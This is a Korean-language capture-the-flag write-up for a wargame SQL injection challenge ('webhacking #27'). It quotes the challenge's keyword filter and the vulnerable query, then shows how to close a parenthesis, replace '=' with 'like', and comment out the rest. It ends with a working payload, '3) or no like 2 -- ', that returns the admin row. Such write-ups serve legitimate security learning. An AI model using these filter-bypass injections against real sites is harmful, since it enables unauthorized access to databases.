webhacking #27
webhacking #27.
sql injection 문제 이다.
소스는 아래와 같이 주어져있다.
여기서 우리가 살펴볼 부분은 GET방식으로 no를 넘기고 있고,
if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");
위와 같이 #, union, from, challenge, select, (, 탭, /, limit, =, 0x 를 필터링 하고 있다.
"select id from challenge27_table where id='guest' and no=($_GET[no])"
쿼리문을 위와 같이 날리고 있고, 우리는 여기서 admin이라는 값이 반환되도록 해야 한다.
아래와 같이 1을 입력하니
no=1이 넘어가며 guest가 나온다.
DB의 구조는 전과 비슷하다고 볼 수 있다.
no | id
1 | guest
? | admin
admin 이라는 값이 반환되기 위해
"select id from challenge27_table where id='guest' and no=($_GET[no])"
에서 no를 1이 아닌 임의의 값으로 주어 guest가 반환되지 않게 한 후,
뒤에 추가로 admin을 반환하게 하도록 하면 된다.
아래와 같은 방식을 생각해 볼 수 있다.
no에 임의의 값을 넘기고 괄호 짝을 맞추기 위해 닫는 괄호 ) 를 써준다.
그리고 뒤에는 admin을 반환할 수 있도록 no 를 넣어준다.
= 기호가 필터링 되어있으므로 like로 대신한다.
1이 guest이므로 0이나 2가 admin임을 짐작해 볼 수 있다.
몇 번 시도해보면 2번이 admin임을 알 수 있다.
"select id from challenge27_table where id='guest' and no=(3) or no like 2 -- )"
주석 뒤에는 공백을 꼭 넣어주어야 한다.
?no=3)%20or%20no%20like%202%20--%20